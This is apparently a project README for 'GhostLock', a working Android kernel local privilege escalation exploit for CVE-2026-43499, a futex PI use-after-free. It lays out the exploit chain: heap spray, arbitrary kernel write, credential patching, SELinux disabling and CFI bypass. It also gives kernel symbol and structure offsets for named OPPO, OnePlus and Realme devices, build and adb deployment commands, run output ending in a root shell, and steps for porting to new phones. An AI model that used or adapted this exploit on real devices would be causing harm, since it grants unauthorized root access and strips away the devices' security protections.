GhostLock

# GhostLock - CVE-2026-43499 Local Privilege Escalation Exploit

## Vulnerability Overview

**CVE ID:** CVE-2026-43499  
**Vulnerability Type:** futex PI (priority inheritance) stack UAF (Use-After-Free)  
**Affected Range:** Linux kernel 6.1 ~ 6.12 (Android GKI)  
**Exploitation Impact:** Local privilege escalation + SELinux disable, obtain root shell

## How It Works

### Vulnerability Trigger Path

```
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入
```

### Exploit Chain

1. **Trigger:** Race via `pselect()` + futex PI to free `rt_mutex_waiter` on the kernel stack
2. **Heap Layout Control:** Spray the kernel heap with `pipe_buffer` to construct a fake `rt_mutex_waiter`
3. **Arbitrary Write:** Use `rb_erase()` tree operations to write controlled pointers to target addresses
4. **Privilege Escalation:** 
   - Patch the `cred` structure: uid/gid → 0, capabilities → all enabled
   - Disable SELinux: `selinux_state.enforcing` → 0
5. **Verification:** Rescan `ashmem_fops` to confirm CFI integrity

## Project Structure

```
GhostLock/
├── README.md                    # 本文档
├── src/
│   ├── core/                    # 核心利用代码
│   │   ├── main.c               # 主入口，漏洞触发
│   │   ├── pipe.c               # pipe_buffer 喷射
│   │   ├── fops.c               # 文件操作劫持
│   │   ├── root.c               # 提权 + SELinux 禁用
│   │   ├── slide.c              # 内核地址随机化处理
│   │   ├── util.c               # 工具函数
│   │   ├── miniadb.c            # 迷你 ADB 服务器
│   │   ├── common.h             # 公共定义
│   │   ├── target.h             # 目标配置
│   │   ├── offset.h             # 偏移量包含
│   │   ├── runtime_offsets.h    # 运行时偏移表
│   │   └── kernelsnitch/        # 内核地址探测
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # 设备适配
│       ├── offsets.h            # 偏移量结构定义
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # 辅助工具
│   └── extract_btf.py           # BTF 偏移量提取脚本
├── btf_*.py                     # BTF 分析脚本集合
├── Makefile                     # 构建脚本
├── compile.cmd                  # Windows 编译脚本
├── build.rsp                    # 编译响应文件
└── ghostlock                    # 编译产物（ELF aarch64）
```

## Supported Devices

| Device | Kernel Version | Status |
|------|----------|------|
| OPPO Find X8 (MT6991) | 6.6.118-android15 | ✅ Supported |
| OnePlus Ace 6T | 6.1.x | ✅ Verified |
| OnePlus 15 | 6.1.x | ✅ Verified |
| OnePlus Pad 2 | 6.1.x | ✅ Verified |
| Realme RMX5070 | 6.1.x | ✅ Verified |

## Compilation

### Requirements

- Android NDK r27c or later
- Python 3.x (for BTF analysis)
- Linux/macOS/WSL (Linux recommended)

### Build Steps

```bash
# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. 编译
make

# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock
```

### Windows Build

```cmd
# 使用提供的 compile.cmd
compile.cmd
```

## Usage

### Prerequisites

1. USB debugging is enabled on the device
2. ADB drivers are installed on the computer
3. The device is connected to the computer via USB

### Steps

```bash
# 1. 确认设备连接
adb devices

# 2. 确认内核版本（必须匹配）
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock
```

### Example Run Output

```
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...
```

### Success Indicators

- `#` prompt appears (root shell)
- `id` command shows `uid=0(root)`
- `getenforce` returns `Permissive`

## Technical Details

### Kernel Memory Layout

```
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)
```

### Key Symbol Offsets (Find X8)

| Symbol | Offset |
|------|------|
| init_task | 0x0211E280 |
| init_cred | 0x02130748 |
| selinux_enforcing | 0x02358EE0 |
| ashmem_misc | 0x0227C518 |
| ashmem_fops | 0x012EF5C0 |
| kmalloc_caches | 0x0167A298 |

### Structure Offsets (BTF Verified)

| Structure | Field | Offset |
|--------|------|------|
| task_struct | cred | 0x820 |
| task_struct | real_cred | 0x818 |
| task_struct | tasks | 0x550 |
| task_struct | pi_lock | 0x90C |
| task_struct | seccomp | 0x8E8 |
| cred | uid | 0x08 |
| cred | caps | 0x30 |
| file_operations | ioctl | 0x48 |
| file_operations | splice_read | 0xB8 |

### Exploit Path

1. **kernelsnitch** - Scan the `direct_map` region to locate `mm_struct`
2. **pipe spray** - Occupy the freed waiter memory with `pipe_buffer`
3. **pselect trigger** - Trigger UAF to reuse the freed waiter
4. **rb_erase write** - Achieve arbitrary write via red-black tree operations
5. **cred patch** - Modify the current process credentials
6. **SELinux disable** - Disable mandatory access control

## Device Adaptation

### Adding a New Device

1. **Extract the kernel image:**
   ```bash
   # 从手机提取 boot.img
   adb pull /dev/block/by-name/boot boot.img
   
   # 或者从固件包中提取
   ```

2. **Extract kallsyms:**
   ```bash
   # 使用 vmlinux-to-elf
   python3 -m vmlinux_to_elf boot.img
   # 选择 "Extract kallsyms" 选项
   ```

3. **Extract BTF information:**
   ```bash
   python3 btf_task2.py > task_full.txt
   python3 btf_structs2.py > structs.txt
   ```

4. **Create a device entry:**
   ```bash
   mkdir -p src/devices/mydevice
   # 复制现有条目作为模板
   cp src/devices/findx8/offsets.h src/devices/mydevice/
   # 修改偏移量
   ```

5. **Register the device:**
   Add the following to `src/devices/offsets.h`:
   ```c
   #include "mydevice/offsets.h"
   ```

### Offset Acquisition Methods

| Information | Source | Tool |
|------|------|------|
| Symbol addresses | kallsyms | vmlinux-to-elf |
| Structure offsets | BTF | btf_task2.py |
| Physical memory layout | IKCONFIG | extract-ikconfig |
| Kernel version | uname | adb shell uname -r |

## Utility Scripts

### BTF Analysis Scripts

```bash
# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt

# 提取所有关键结构体
python3 btf_structs2.py > structs.txt

# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt
```

### kallsyms Extraction

```bash
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# 或者使用自定义脚本
python3 run_kallsyms_finder.py
```

## Security Notice

⚠️ **Warning:** This tool is intended for security research and authorized testing only. Using it on others' devices without authorization is illegal.

### Known Limitations

- USB debugging must be enabled
- ADB connection required (cannot be exploited remotely)
- Kernel version must match exactly
- Some devices may have additional security mechanisms

### CFI Protection

This exploit can bypass the kernel's Control Flow Integrity (CFI) protection by:
1. Verifying the validity of the `ashmem_fops` address
2. Using `copy_splice_read` as a legitimate call target
3. Rescanning to confirm CFI integrity

## Debugging

### FAQ

**Q: "no offsets for kernel: xxx" appears**
A: The kernel version is not supported; you need to add a device entry

**Q: The exploit hangs**
A: The race condition may have failed; retry a few times

**Q: Kernel panic occurs**
A: Unlikely (panic_on_oops is not set), but you can check dmesg

### Debug Output

```bash
# 启用详细输出
adb shell /data/local/tmp/ghostlock -v

# 查看内核日志
adb shell dmesg | tail -50
```

## Related Resources

- [CVE-2026-43499 Details](https://nvd.nist.gov/vuln/detail/CVE-2026-43499)
- [GhostLock Original Research](https://github.com/wzhdgithub/GhostLock)
- [Android GKI Kernel](https://source.android.com/docs/core/architecture/kernel/generic-kernel-image)

## License

This project is licensed under the [MIT License](https://github.com/wzhdgithub/ghostlock/blob/main/LICENSE).

## Acknowledgements

- Thanks to all security researchers for their contributions
- Thanks to the Android security team for their response
- Thanks to the open source community for their support

---

**Last updated:** August 13, 2026  
**Author:** wzh  
**Contact:** [email protected]